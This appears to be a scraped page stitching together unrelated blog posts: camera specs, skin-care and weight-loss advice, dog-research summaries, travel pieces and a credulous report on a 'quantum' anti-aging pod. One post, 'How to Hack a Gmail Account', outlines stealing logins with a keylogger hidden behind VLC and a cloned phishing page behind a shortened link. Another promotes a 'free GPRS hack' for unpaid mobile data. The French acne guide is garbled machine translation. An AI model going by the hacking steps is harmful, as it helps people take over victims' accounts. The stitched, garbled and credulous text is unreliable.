The Canon EOS 7D is an 18 megapixel digital SLR camera incorporating a new APS-C CMOS sensor designed and manufactured by Canon. Featuring a revised photodiode and microlens construction, the 7D’s sensor offers a versatile ISO range of 100-12,800. Other new additions include dual DIGIC 4 processors offering continuous shooting at 8fps, improved 19-point cross-type auto-focus system including Zone and Spot AF, Focus Colour Luminance metering system which measures from 63 zones, and an Intelligent Viewfinder with 100% frame coverage and 1.0x magnification. The Canon 7D’s 3 inch Clear View II LCD screen with 920,000 dot resolution is used for the camera’s Live View and Movie modes, with Full HD 1080 video supported. The Canon EOS 7D is equipped with an integrated Speedlite Transmitter, making it easy to control external Speedlite flashguns with no additional accessories required. The magnesium alloy body offers weather sealing, an Integrated Cleaning System and 150,000 release shutter durability. The Canon EOS 7D is available now for Rs.1,04,995 Indian Rupees / £1699.

Dubai Skyline Views

These are some amazing views of Dubai Skyline.

Think Dog and the Role of Food

The latest in the ‘better world’ series about dogs and cats.

Think Dog! A Golden Retriever by the sea with a tip for how to make a better world for dogs

These are the latest images in the series about how to make the world better for dogs and how to make the world better for cats.

You can read the full quotes on those posts. I’m working through each expert answer in random order, so stay tuned for more!

A cat by its food bowl - understand the role of food for a better relationship with your cat

4 Tips On How To Get Healthy Skin Naturally – Skin care Tips

Everybody wants to have healthy, glowing skin. However, most people are hesitant to apply chemicals to their skin for fear of suffering adverse and unwanted effects. This makes skin care a very difficult task, despite the many available cosmetics in the market today.

4 Tips On How To Get Healthy Skin Naturally - Skin care Tips

For those who are not comfortable using manufactured products, there are still numerous ways through which one can take care of their skin. One just has to know how to get healthy skin naturally. These are just some tips:

Eat Healthy –
You must remember that the skin is best nourished from the inside. To know how to get healthy skin naturally, one should start with what he eats. This is done by making sure that what you eat is good to your skin.

Specifically, foods rich in Vitamin A and C and Omega 3 will have good effects to your skin. Vitamin A keeps your skin smooth by reducing oil production. So you have to see to it that foods like sweet potatoes, carrots, eggs and milk are part of your daily diet. Vitamin C on the other hand is essential in collagen formation which is responsible in reducing wrinkles.

Some Vitamin C rich foods are oranges, kiwis, apples, grapefruits and red peppers. Omega 3 prevents skin inflammations and helps your skin absorb more vitamins and nutrients. You will get a significant amount of Omega 3 from fishes and nuts. Other skin-friendly foods are tomatoes, dark chocolates, green tea and cranberries.

Exercise Regularly – 
Exercising is not only good for weight-management and blood circulation but is also a good tip on how to get healthy skin naturally. It gives the skin a certain radiant glow as it provides the skin with needed oxygen. Most importantly, exercising is one good stress reliever. Studies show that one major cause of acne and wrinkles is stress. Put one and one together, you’ll get a healthier, young-looking skin.

Don’t Smoke – 
Smoking is not only a cause of lung cancer. It also increases the risk of skin cancer. Also, smoking hastens skin aging. That is why most smokers have really saggy and wrinkled skin. Dark spots also appear. By not smoking, you don’t only protect your internals but also makes you radiate from the outside.

Keep hydrated –
You have probably been told that you have to drink at least six cups of water daily. This cleanses your body from toxins which causes most skin infirmities. Apply body lotion to ward off dryness if necessary.

The foregoing are just some of the many methods on how to get healthy skin naturally, which are very easy to follow and has very significant good effects to your skin. Go natural and you can never go wrong.

In addition to the above natural tips, the use of natural skin care products also prove to be helpful in attaining healthy clear skin.

How to Hack a Gmail Account

There are two ways of hacking any gmail a/c. They are:

Keylogging : It is a software that creates a server.exe file and send this server.exefilevia email to the victims email id . When the victim open the email to read it automatically getsinstalled on victims computer. it is in the way it is attached to the victims VLC player ,means when victim will run VLC player, the server.exe file automatically reuns and collects all information and at the end it mails all login detaills to the sender’s mail id
without any alert notification.the Best Keylogger is Snipersky .

Phising : This is a technique in which a fake gmail login page is created which is identical to the real gmail login page.
– it is coded using the source code of gmail login page.
– it is tested by hackers , if it is tested then
– it is installed on hosting server via FTP .
– After this to hide the URL , the URL shortner tool is used and link is changed
– Now this Url link is send to the victim using Email , Facebbok , Twitter etc.

Now when user opens the link and they didn’t look at the URL and fillups their login
details and thus their email and password are stored in database and gets hacked .

Juste comment se débarrasser des boutons d’acné de nuit: un guide

Exactement comment faire disparaître avec boutons pendant la nuit est dans les fait, les questions les plus difficiles que chaque adolescents et les adultes peuvent en outre certainement confrontés aujourd’hui. Il est effectivement difficile compte tenu moins un peu de but, seulement une fois que vous pensiez, vous serez bien préparé et, en outre embelli pour un grand jour, un visage d’une personne en particulier et le miroir bonjour! un zit salue tout d’un coup quelqu’un à la journée la plus importante de la vie. Embarrassant.
Oui, ce n’était pas le moment il passé. La vérité peut être, les boutons d’acné ont actuellement la pire moment particulier jamais. Il arrive à être source de distraction ainsi que l’attention-grabbing. Alors que certains a parfois des poussées Pimple, le cauchemar commence réellement quand il commence à se développer sur votre visage propre chacun de l’année et en plus c’est quand le doute réel “Juste la façon d’être en mesure d’en finir avec boutons pendant la nuit?” commence-nous harceler jusqu’à ce quelqu’un enfin en finir avec eux.

Juste comment se débarrasser des boutons d'acné de nuit: un guide

Pour être en mesure de comprendre exactement ce qui cause des boutons en général est de trouver une grande évasion de leur part. En effet, sans aucun doute certainement pas échapper, parce que tous les gens qui se passe à leur honneur a définitivement indésirable sur eux aussi à un objectif à l’intérieur quelques vies presque idéales. Et cependant, la connaissance réelle pour vous de guérir ainsi les empêcher sera un incroyable âme une aide d’urgence pour toute personne qui est en fait supporter les poussées de bouton.
Pimple est en fait une condition de l’acné résulte d’huiles excessives bouchées tout au long de nos pores très propres. Pores de la peau servir car un support pour nos glandes sébacées pour être en mesure de créer huile qui donne donc la sécurité ainsi que la lubrification de pouvoir la peau réelle. En se produire, lorsque ces pores arrive d’être bloqué, il provoque une peau malsaine. La peau du visage malsain signifie boutons sur ce site pour ne pas mentionner là-bas. Lorsque cela se produit, il arrive à être le meilleur dans le but de nous armer avec la médecine prêt à pores declogged en libérant ainsi la saleté, la prévention des graves poussées d’acné.
Exactement comment faire disparaître avec boutons pendant la nuit et juste comment Fonctions drogues?
Depuis boutons apparaissent inesthétiques et plus irritant parfois, notre notion propre initiale est de pouvoir utiliser directement régime approprié pour vous d’en finir avec boutons pendant la nuit. Différentes recettes actuellement ont été présentés et mis en place qui sont tous les croyait pour être rapide et efficace.
La principale méthode pour vous de faire disparaître les boutons pendant la nuit est fait avec laver le visage avec du savon médicamenteux qui contribuera à la disparition de Pimple. Beaucoup de ces savons médicamenteux contiennent en grande partie de mélange glycolique pour ne pas mentionner l’acide salicylique qui sont à la fois ses preuves pour lutter contre les bactéries-pores obstrués. Lors de la sélection du bon savon anti acné, pensez à acheter ceux qui sont sans parfum les parfums seront probablement parfois aggraver la situation réelle.
Les accumulateurs de froid sont beaucoup plus que de simplement gars de la glace parce que les deux sont utilisés pour vous d’éliminer des boutons d’acné pendant la nuit. Les accumulateurs de froid multitâche sa technique en forçant la fermeture des pores particuliers tout en poussant la saleté, de l’huile pour ne pas mentionner les bactéries supplémentaires piégés à l’intérieur de la peau. L’utilisation effective de la glace est généralement utile que nous découvrons comment il vous aide en finir avec ceux qui existent déjà dans le même temps, protéger la peau contre les modernes zit évasion. Frottez-le sur votre visage pendant au moins 10 minutes que pour être en mesure d’obtenir l’impact souhaité. Dès que votre peau se révèle être engourdie, qui alerte les pores fermés et en plus vous pouvez être prêt pour un second lavage à laver complètement les saletés restantes auxquelles les huiles gratter par vos propres accumulateurs de froid magiques.
Comment faire pour être en mesure d’éliminer des boutons d’acné durant la nuit en utilisant l’aspirine?
L’aspirine, un médicament reconnu comme le salicylate peut servir sur des analgésiques. Cela aussi, fait de son mieux un anti-inflammatoire réponse pour zits. Zap toutes ces zits stress causant en écrasant l’aspirine et le mélanger avec une quantité suffit juste assez d’eau avant d’appliquer la place particulière. Laissez ses fonctions par l’intermédiaire de l’acide salicylique profondes de votre peau en la personne de quitter propos instantanée.
Contenant du zinc pommade avec tamponner sur la région affectée définitivement permettra de réduire le gonflement particulier pour ne pas mentionner serait probablement normaliser l’apparence de bouton lorsque vous posent le matin suivant réelle. Le zinc peut être un minéral reconnu pour le processus de soin efficace et plus c’est vraiment la raison pour laquelle il est très fortement conseillé pour vous de faire disparaître les boutons instantanés.
Ne pas seulement s’asseoir et regarder en outre que plusieurs de ces boutons vous gâcher la journée individu. Prenez le sel marin ou du dentifrice blanc tout simplement parce qu’ils se trouvent en outre être reconnu à l’intérieur en prenant partie pour vous de faire disparaître les boutons instantanés lorsqu’ils sont utilisés sur la peau affectée. Laissez-le rester pendant la nuit car il apaise l’intermédiaire de votre visage et en plus se laver dès que vous se posent. Vous êtes surpris à côté exactement comment la condition réelle améliore la Pimple.
Oeufs blancs participe avec additionnels sur la façon d’en finir avec les boutons instantanés.
Les œufs, comme nous comprenons parfaitement, est généralement une source remarquable de protéines saines. Différents plats fabriqués à partir d’œufs sont parfois irrésistible encore savez-vous que c’est aussi bien qu’ils aident le soin de la peau. Vous pouvez facilement vérifier sur la génération de masques de blanc d’oeuf et également en train de les faire appliquer sur le bouton touchée par la peau. Cette procédure lorsqu’elle est effectuée et, en outre rincer correctement certainement aidera adoucir les cellules du visage.
Laver tous ces boutons aux côtés de feuilles de basilic. Le basilic est une forme de traitement biologique maladie de la peau, y compris Pimple par trempage 2-3 feuilles de basilic séchées toute l’eau chaude et les laisser pendant 10-20 minutes. Et après cela, une personne peut utiliser le liquide sur votre propre Pimple en utilisant un coton. Aucun rinçage n’est nécessaire à ce sujet. Vous êtes capable de ne laisser reposer sur votre visage tout en profitant de ses avantages miraculeux.
Le miel fait un travail doux en ce qui concerne les faire disparaître les boutons d’acné. Vraiment utiliser une petite quantité directement avec votre bouton individu ainsi que lui permettre de se reposer pendant une heure avant de rincer grande. Chérie a un contenu antiseptiques qui sont vraiment très bénéfique considérés avec soin.
Crème apaise les irritations cutanées Calamine tels que les boutons d’acné en l’appliquant partout ou être en mesure de régions avec facultés affaiblies. Laisser toute la nuit et même le laver le matin suivant réelle. Voir à quel point parce que le gouvernement beauté simple que cela puisse facilement soulager la condition de l’acné.
Une Pimple fiers sortira la confiance en montgolfière. Éviter que cela se déroule par simple acquisition de produits de beauté qui contiennent du soufre. Prenez le temps de faire usage de quantité suffisante de masque de soufre sur votre bouton, plus dormir avec elle. Le lendemain matin réelle donnera une impulsion première personne de confiance parce que quelqu’un a découvert comment il aplatit qui, dès Pimple fier de vous-même.
En finir avec les boutons d’acné appliquent citron application de jus de fruits disponibles sur la Pimple. Même si, ce traitement particulier ne pouvait promettre une trace totale absence de l’acné, ce particulier, malheureusement, va sécher la Pimple particulier la nuit amélioration de l’état de la peau réelle.
Un peu de penser que l’acquisition débarrasser des boutons pendant la nuit peut être un produit de votre vœu pieux. Actuellement, il ya vraiment des biens cependant, qui semblent être les meilleurs en ce qui concerne le traitement des boutons de la manière la plus rapide. Bien que pas tout le s’assure une sorte de soulagement instantané, les résultats particuliers se trouvent encore écrasante, car il montre que nous étonnante amélioration de la condition de la journée en raison d’.
Traitement de l’acné instantanée boutons peut être juste un produit d’un esprit optimiste. Pourtant, il est absolument rien en comparaison afin de l’espoir de générer les faire disparaître parce instantanément tout à fait possible. Quel est exactement beaucoup plus irritant est en fait juste la façon dont les deux semblent toujours savoir quand et où, en plus d’être en mesure de faire grève, parfois à l’endroit le plus visible excessive tout simplement la veille d’une journée unique. C’est une tache à la beauté de tout le monde, plus particulièrement les femmes avec recevra débarrasser d’eux est en fait inestimable.
Qui ne désire une peau sans tache, non? Un excellent, le visage sans tache peut être ce que chacun d’entre nous rêvons. Imaginez, marchant à l’intérieur d’une zone pleine de gens et étant en outre observé à la suite de l’acné visage couvert? Exactement comment cela pourrait être embarrassant! Annulez toutes ces réactions en étant irréprochable. Soyez tourner les têtes dans une méthode positive. Les méthodes particulières sur la façon de se débarrasser de boutons pendant la nuit en général ne sont ni pratiques ni impossible.

Achieving Long Term Weight Loss

In my nutrition clinic, most people coming to see me have an issue with their weight. Whether they are attending due to heart health, bone health or digestive problems, I find that weight loss is also one of their key health goals. I work with individuals to lose an achievable amount of weight over an achievable amount of time.

One of the main areas that I find people put on weight is around their belly. This type of weight gain can be the most harmful for health but also can be easy to shift, once you know how.

One of the most important areas of weight loss is balancing your blood sugar levels. Processed carbohydrates, such as white bread, white pasta and white rice, tend to absorbed quickly into the blood stream, causing a spike in your blood sugar levels. This causes the body to release insulin, whose primarily role is to take the sugar from the blood quickly and, if consumed in excess, store it as fat.

Therefore, choosing slow release carbohydrates are more beneficial for health and for weight loss, e.g brown rice, pasta and breads, oats, etc. The advantage of these carbohydrates is that they take a lot longer to break down, keeping you fuller for longer as they also contain more fibre, reducing your cravings and helping your digestive system.

As carbohydrates act as our energy source during the day, our breakfast and lunch should contain a portion of carbohydrates, e.g. 1/2 – 3/4 cup of oats, cooked rice or cooked pasta. Many people wanting to lose weight try to cut carbohydrates out from all meals. This leaves them hungry and craving for sweeter foods. However, for the evening meal, it is possible to reduce or eliminate carbohydrates to assist weight loss. See below for a lower carbohydrate evening meal.

Chicken Stir Fry
1 tsp oil
2 chicken breasts (cut into chunks)
2 cloves of garlic (chopped finely)
1 large fresh chilli (deseeded, chopped finely)
2 oz cashews
1 small head of broccoli (cut into florets)
1 yellow pepper
1 red pepper (cut lengthways)
4 tsp soy sauce
Serves 4

Chop garlic and leave aside for 5 minutes.

Chop all of the vegetables before you start cooking.

Heat oil over a medium heat in a large frying pan or wok.

Add the chicken to pan, stir continuously, cook till no longer pink inside (about 5 mins). Remove from pan and set aside.

Add garlic and chilli to the pan, tossing it for a minute. Do not let it go brown.

Add in broccoli for another minute and then the peppers for another minute. Add the soy sauce, stir well.

At the last minute add cashews and reserved chicken and stir through.

Serve straight away.

Lucy assists people to lose weight and improve health through choosing the right foods. She designs recipes and weight loss meals plans to assist people in eating fresh, natural and seasonal foods with the added benefit of improving your energy levels and helping you to feel great.

Reliance Free Gprs Hack 2012

RELIANCE has both cdma and gsm network.to access mobile gprs free in reliance

you have to configure the following settings in your gprs settings of your mobile phone.once you do it you could access free gprs in your mobile.

>Home page-http://wap.rworld.co.in/gsm/index.wml

USING these reliance gprs settings enjoy free gprs free of cost.

Dogs Sleep Badly After a Stressful Experience

Dogs fall asleep faster but get less deep sleep after a bad experience compared to after a good experience.

Dogs sleep badly after a stressful experience
Photo: Karen Laventure (Shutterstock)

We all know the feeling when something bad happens in the day and then we just can’t sleep at night. It turns out that, just like humans, dogs’ sleep is affected by bad experiences – but the effects are not quite the same.

A new paper by Dr. Anna Kis (Hungarian Academy of Sciences) (including members of the Family Dog Project) took EEG measurements of dogs sleeping after a good or bad experience.

While humans take longer to fall asleep after a bad day, the dogs fell asleep more quickly after a bad experience than after a good one. This is thought to be a protective response to stress. But, just like humans, dogs did not sleep as well after the bad experience, showing their sleep was disturbed.

16 pet dogs took part in the study, which took place over 3 sessions. The first session was a practice one so the dogs could get used to the equipment and being in the lab. In the next two sessions, the dogs had a good or bad experience, followed by 3 hours of sleep. Half the dogs had the good experience first followed by the bad experience, and half the dogs had the bad experience followed by good. At least 5 days elapsed between these two visits to the lab.

The good experience was 6 minutes in which the dog was petted every time it went to the owner, was spoken to nicely, and played fetch or tug depending which it preferred.

The bad experience also lasted 6 minutes and started with the dog having their leash tied to the wall and being left alone in the room. After 2 minutes, the owner came back in and ignored the dog, but did go stand near it. Then an experimenter came in and approached the dog in a threatening manner before stopping, sitting on the ground, and looking at the dog for 3 minutes without responding to it.

After the good or bad experience, the dog was taken to another room and prepared for the sleep measurements. It took about 10 minutes to put on the electrodes for the EEG recordings, and this was done in a manner reasonably consistent with the good or bad experience the dog had just had. So either the dog got lots of petting and nice talk while it happened, or the experimenter ignored the dog as much as they could during the process.

During the three hours after the bad experience, the dogs got an average of 72 minutes sleep and the duration of a sleep cycle was 56 minutes. After the good experience, the dogs took longer to go to sleep, and on average they got 65 minutes sleep with a sleep cycle of 51 minutes.

The different stages of sleep were also affected by the dogs’ experiences. After the negative experience, dogs had a longer period of REM sleep, which is characterized by rapid eye movements (hence the name). The researchers had predicted a change in the amount of REM sleep because it has been associated with emotional processing.

Non-REM sleep was higher after the positive experiences. This is when the deepest sleep occurs, so after negative experiences the dogs got less deep sleep.

The researchers also found that the dogs’ personalities were linked to how they behaved with the owner. For example, dogs that were rated as more agreeable and less open hid behind their owner more when the experimenter was sitting and looking at them in the negative experience. In turn, some of these behaviour differences were linked to changes in the sleep cycle.

What this means is that individual differences in how the dogs responded to the experiences were also reflected in changes in their sleep. The scientists suggest further research on this topic, and on links between sleep and welfare in dogs.

This is the first time that good or bad experiences have been shown to affect how well a dog sleeps.

The paper is open access and you can read it via the link below.

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Kis, A., Gergely, A., Galambos, Á., Abdai, J., Gombos, F., Bódizs, R., & Topál, J. (2017, October). Sleep macrostructure is modulated by positive and negative social experience in adult pet dogs. In Proc. R. Soc. B (Vol. 284, No. 1865, p. 20171883). The Royal Society. DOI: 10.1098/rspb.2017.1883

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites.
Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

Memorial Day Free Pictures and Quotes

Memorial Day Free Pictures and Quotes

#MemorialDay Free #Pictures and #Quotes – https://shar.es/1ro5aQ

#MemorialDay2015 #Usa  #MemorialDayQuotes

Extra Early Socialization for Puppies Makes a Big Difference

Research on a new program for socializing puppies in the nest finds it brings big benefits.

Early socialization for puppies, like this cute chocolate Labrador Retriever, makes a big difference to the dog's future behaviour.
Photo: Sarai da Silva / Shutterstock

A new study by Dr. Helen Vaterlaws-Whiteside and Amandine Hartmann (Guide Dogs National Breeding Centre) (2017) tests an improved program for socializing puppies in the nest from 0 – 6 weeks. The program provides additional socialization in a way that is relatively cheap, easy to implement, and designed to fit with what science tells us about the development of puppies.

In comparison to puppies receiving the regular socialization program, the puppies who got extra socialization got better scores in tests at 6 weeks old. By 8 months of age they were less likely to have separation-related behaviours, general anxiety, be distracted, or have body sensitivity.

In other words, the extra socialization brought important benefits for their behavioural welfare as young adult dogs. These results will be of particular interest to those who breed and train service dogs, but they are important for anyone who cares about dogs – especially those looking to get a puppy.

Dr. Vaterlaws-Whiteside told me in an email,

“The program is designed to provide a highly effective socialisation experience for our puppies that is low cost, quick and easy to complete. The program of specific exercises mirrors puppy physiological and behavioural development and is proven to have a lasting improvement on behaviour. 

“Dogs who do not receive this kind of socialisation as puppies can grow up to be anxious and scared. Therefore, positive early life experiences are critical in helping puppies grow up to be confident, content companions. This program can be used by working dog organisations, pet dog breeders and animal shelters.”

The puppies who took part in the study are part of the Guide Dogs for the Blind breeding program. All of the puppies follow a standard program, spending the first 6 weeks in a breeding facility where they experience identical conditions and then having the same socialization program for the first year of their life. Therefore this is the ideal environment in which to test a new, additional, socialization program.

The extra socialization activities took place five days a week during the first 6 weeks. It was designed to include interactions with people and animals as well as visual, auditory and tactile stimulation. In the first week, it took 5 minutes per puppy per day, building up to 15 minutes per puppy per day in weeks 5-6.

Examples of the extra socialization include stroking the puppy gently with the fingers, a towel, and rubber gloves; making a cell phone ring near the puppy; gently examining the puppy’s ears and teeth; and encouraging the puppy to do things like climb over an obstacle or come through a doorway.

All of this was done in a way that was fun for the puppy and the researchers made sure the puppy was comfortable at all times.

The researchers have made a video called play builds confident puppies to explain their findings.

How did they conduct the study on early puppy socialization?

Six litters of puppies took part. Half the puppies in each litter received the extra socialization and half had the standard program. To make sure it wasn’t simply extra time with a person that was causing the results, the puppies in the standard program had someone spend the equivalent time sitting with them and only interacting a little with the puppies that wanted to.

The puppies were either Labrador Retrievers, Golden Retrievers, or Labrador-Golden crosses. They were assessed at 6 weeks old, and at 8 months old their handlers completed a survey on their behaviour.

At 8 months, the handlers’ responses showed that puppies who had the extra socialization scored better for separation-related behaviour, distraction, body sensitivity and general anxiety. There was no difference for trainability or energy.

These results suggest they will make better working guide dogs, but more research (and time on the job) is needed to assess this.

The scientists write,

“The additional age-specific stimulation received by puppies given the extra socialization during this study provided increased physical contact, mental challenges and extensive positive interaction with people away from the litter. These stimuli could be considered to be mild stressors and may help explain the reduced anxiety and distraction related behavior observed in the eight-month handler questionnaire.”

The very short periods of time that puppies in the extra-socialization program spent away from the litter and with a person may have helped them to become more resilient to being taken away from the litter, which may in turn have made them more resilient to being left alone. This could account for the differences in scores for separation-related behaviours.

Early socialization for puppies makes a big difference to later behaviour, so start when they are young like this cute little Golden Retriever

What’s especially remarkable about these results is that the puppies in the standard group were already getting an excellent socialization program that included lots of opportunities to interact with different stimuli. One of the things that is different about the enhanced program is each puppy got to have that kind of interaction away from the other puppies, just in the presence of a person.

What does it mean for dog owners?

This study builds on the existing research on the sensitive period for socialization in puppies and on what we know about puppy development. It has implications for all dog owners because it shows that extra socialization brings additional benefits. If you are getting a puppy, socialization in the home of the breeder makes a difference to the future behaviour of the puppy.

Sadly, many puppies come from places where they do not get good (or any) socialization. This is thought to be one of several reasons why puppies from pet stores are more likely to have behaviour problems such as aggression, fear of dogs, separation-related behaviours, sensitivity to touch and house-soiling.

So do not buy a puppy from a pet store, or from the internet where the puppy will be brought to you. You need to see the puppy interacting with the mom. And you should ask the breeder what they are doing to socialize the puppy. This should include lots of short, positive experiences with a wide range of different stimuli.

“positive early life experiences are critical in helping puppies grow up to be confident, content companions. This program can be used by working dog organisations, pet dog breeders and animal shelters.”

Animal shelters and rescues also sometimes have puppies, and you should ask the same questions about socialization.

Of course, you still need to continue to socialize your puppy after you bring it home. The sensitive period for socialization ends at around 12-14 weeks, although it may be earlier in some breeds.  Remember that socialization means positive experiences, so never force your puppy into an interaction and always give them a choice.

Summary of the puppy socialization study

This study shows that additional puppy socialization from 0-6 weeks, on top of an already excellent socialization program, can make a big difference in terms of the dog’s behaviour at 8 months of age.

The paper contains details of the extra socialization program including a table showing what happened and when. This makes it easy for anyone else who wants to follow the program. Breeders of pet dogs, working dog programs and animal shelters in particular may wish to take a look. The paper can be downloaded for free until 15th December via this link.

Jan 2018 update: Details of the program are now available in a free app, Socialization for Success, which provides a week-to-week guide to what to do and the science behind it.

You can follow The Guide Dogs for the Blind Association (UK) on twitter and Facebook.

You can learn more about the classic research into the socialization period in my post, Why you need to socialize your puppy. And if you’d like to know why we call it a sensitive period or how kittens compare to puppies, you might like to read the sensitive period for socialization in puppies and kittens.

For more stories like this, subscribe to Companion Animal Psychology.

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Vaterlaws-Whiteside, H., & Hartmann, A. (2017). Improving puppy behavior using a new standardized socialization program. Applied Animal Behaviour Science, 197, 55-61. https://doi.org/10.1016/j.applanim.2017.08.003

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites.
Companion Animal Psychology is also a participant in the Etsy Affiliate Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Etsy.com.

Singita Kruger National Park, South Africa

Singita Kruger National Park

SINGITA has become the gold standard of the safari industry, it is easy to see why the concession in the Kruger National Park, 33,000 acres, in two cabins. Expected every need (hot water bottle warm morning game drive and blankets), the staff remember your preferences, a surprise every day, whether it is candlelit bush dinner surprise fireside performances.

Tree-cum-urban loft aesthetic given to the views of the the N’wanetsi River and the foothills of the Lebombo Mountains. Lebombo 15 glass curtain wall suite with roughly hewn wood ceilings and pillars mimic the surrounding trees. Full glass front allows you to watch the game from the bed, or you can laze on the elevated deck.

Neighboring Sweni six suites have a similar design. Both have access to a gym, a spa, an art gallery, a boutique and a wine cellar, professional and innovative African Year.

Season’s Greetings

Season’s Greetings from Companion Animal Psychology.

Season's Greetings! A cat at a window with snow outside and holiday lights inside

Thank you for your likes, shares and support throughout the year, and a very warm welcome to all the new readers.

Happy Holidays!


Photo: Jack Frog / Shutterstock.

Memorial Day Weekend 2015

Memorial Day Weekend 2015

Memorial Day #Weekend 2015 – https://shar.es/1rtqBP

#MemorialDay2015 #MemorialDay #Usa #MemorialDayWeekend

Scientists Develops Human Regenerator That Controls Aging


Scientists have struggled for a very long time to get a hold of this thing we all go through which is aging. Medicine and hygiene have added about 20-30 years to the average lifespan since a couple hundred years ago, but we want more life it seems. While some scientists focus on the human building blocks (our DNA) others are focusing on healing our body. A German company recently announced a new product called Human Regenerator that can control aging.
The company, System 4 Technologies Gmbh recently showcased their “pod” at the World Luxury Expo held at the Abu Dhabi’s Emirate palace. This Human Generator looks like something out of a science fiction movie, and its purpose is somewhat like it too. By utilizing a unique technology by the name of Quantum Cell Code, humans are apparently able to control aging. However, don’t be fooled, you can’t stop aging altogether, but it is said that the apparatus can rejuvenate the cells in your body and at least slow it down.
So what is this thing and how does it accomplish this almost holy grail-like miracle? Well, I will try to explain it to the extent that I understand it myself. The developers have used silicon and aluminum deposits which supposedly help create the anti-aging effect. The Human Regenerator imitates the body’s natural frequencies through quantum cell technology and longitudinal waves. Don’t ask me how but that’s as much as I understand.
Anti-Aging Human Regenerator

Don’t expect this gadget to be cheap either. Unfortunately, it’s not for everyone. The basic model will have a price tag of $557,000 and only 50 units will be created. The one used at the Abu Dhabi expo was a promotional unit that had been pimped out with 6880 carats worth of diamonds, which sets the price tag for this particular unit at around $10 million. I guess if you want everlasting youth you will have to bust out the big wallet. Eternal youth is apparently not for the less fortunate ones, but we already knew this from the silver screen, didn’t we? – More information at Human Regenerator.

System 4 Technologies’ Human Regenerator

Source: Bitrebels

How to use Mobile Camera as PC Webcam – Android – Symbian

Online chatting has been redefined with the video chat technology and more and more webcams are taking birth introducing new and vast technology, well but side by side webcams are somewhat expensive and can do only one task live streaming you to your friends and family members. Well if you wanna save your money and side by side want the same webcam experience, you can convert your mobile camera into PC webcam with small apps and tools easily.
Well we have three best options tat work universally on every platform, so we are going to use Smartcam as our first source, Mobiola web camera and the second source and the third one is specifically for android that’s iP webcam.

smartcam package#1. Smartcam Package :

Smartcam Package simply provides an easy to install option for your all devices, Symbian, Android, iPhone and connect them as a webcam for your pc.

  1. Download Smartcam Package and extract it in your pc, it’s a simple zip package so just right click and choose extract.
  2. Now it contains a .exe file for your computer and applications for your android device, Symbian device and iPhone. You can use the one in package or you can download them online for newer versions.
  3. Now after you have installed on both devices just fire it up using Bluetooth or USB connectivity and follow instructions and you will be live streaming your mobile camera video as PC webcam.

mobiola web camera#2. Mobiola Web Camera :

Mobiola Web camera is available for iOS Devices, Blackberry, Symbian but its nor free and you have to pay little cost to get that app running.

  1. Purchase Mobiola Web Camera software or download as trial version.
  2. Now juts install app on your device after purchasing their device application.
  3. That’s it now follow instructions and start chatting with your friends.

ip webcam android#3. iP Webcam for Android Devices :

iP Webcam for Android is simple application fro converting your Android Device into a wireless PC Webcam. This free application can be installed right into your pc and can used just by a simple iP (internet protocol address).

  1. Download iP Webcam Android App.
  2. Install the application on your phone and connect to the same Wi-Fi network connected to your PC.
  3. Now just follow the instruction on your app and you will be able to connect your device camera with your PC and use it as a webcam.

So now these were the three easy options fro converting your device camera into a simple and free PC webcam. So no investment but still the same fun of video chatting is continued. Have fun and do comment

How to Get Soft Smooth Skin On Your Face – Skincare Tips

Lots of people want smooth skin regardless of their gender. The good news is that achieving smooth and clear skin is not exactly rocket science. Regardless of their genes, it is perfectly possible for them to enjoy clear skin even if their family has a history of acne. That being said, following are some tips on how to get soft smooth skin on face.

How to Get Soft Smooth Skin On Your Face - Skincare Tips

Concentrate on Hygiene

The most important thing to consider when it comes to smooth skin is the hygiene. Individuals must eliminate the dirt and dust from their facial skin every day. Depending on how often their exposed to these materials, women should wash their face with water at least three times a day. Even simply wiping the face with a wet cloth would help make sure that the skin is not overwhelmed by dirt.

Remove Make Up

This is something women should always take into account. Prior to sleeping, always remove the make-up and wash the face with water. Make up can clog up the pores, resulting to pimples or at the very least rashes. The type of make-up used by the female is also crucial to smooth skin. Ideally, it should complement their skin type and shouldn’t trigger any allergies.

Use Cleaners and Exfoliants

Using cleaners and exfoliants also help you to get smoother skin. Cleaners go through the skin, efficiently removing dirt and dust from the pores. Exfoliants however are responsible for getting rid of the dead skin cells festering on the surface.

Eat Right

Diet also plays an important role in getting flawless skin. Keep in mind that the skin is an organ the largest one of the body. Hence, it only makes sense that everything a person eats or drinks would have much to do with their skin appearance. That being said, the best diet for the skin would be fresh fruits and vegetables instead of processed food items.


It might not seem like it, but exercising adds to healthy skin. It helps the body sweat off waste while leaving the surface flushed and blood pumping. When done on a routine basis, exercising could promote healthy skin growth not to mention burn off fat and boost the immune system as whole.

Of course, those aren’t the only tricks people can use for smooth skin. Depending on the type of skin a person has, they might need to adopt various methods in order to have an excellent dermis.

One of those methods is to use natural cleaners and exfoliants that help your skin and not harm it with dangerous compounds which irritate your skin causing unsightly blemishes, rashes and acne.

The biggest mistake you can make is buying skin care products without knowing what’s in them.

Did you know?


 This is an amazing video about stuff we never knew. This video is about the exponencial growth of available information in our society and what might happen in the future.

Manhattanhenge, Manhattan, New York


Twice a year, in the sunset is perfectly aligned with the Manhattan street grid, nicknamed “Manhattanhenge” create a spectacular sunset.” John and I Makely create time-lapse recording of the occasion in Manhattan on Wednesday night.

Manhattanhenge attracted hordes of photographers, we know we have Tudor City Bridge early in the day to mark our position. A lot of people like the location, but there is enough space, several photographers standing near the coveted position. Early in the afternoon, we have the perfect spot, although the sun seems to stand still in the middle of the sky, the sun seems to be a very long way to go. The afternoon passed, and the emergence of many photographers, still hours before the actual event to compete for the position. We wait until the buildings block the harsh afternoon sun to unlock our gear, worried that the heat may be damaged. Crowd and excitement kept building throughout the night, until suddenly, low, red sun came out from behind directly above, we believe that the building of 42nd Street. The scene was breathtaking, and quickly trigger the camera shutter sound almost overcome the usual sound of traffic. In just a few short minutes, the sun dipped below the horizon, the end of the whole event.

3G Data Card Services – BSNL Vs Tata Vs Airtel Vs Reliance


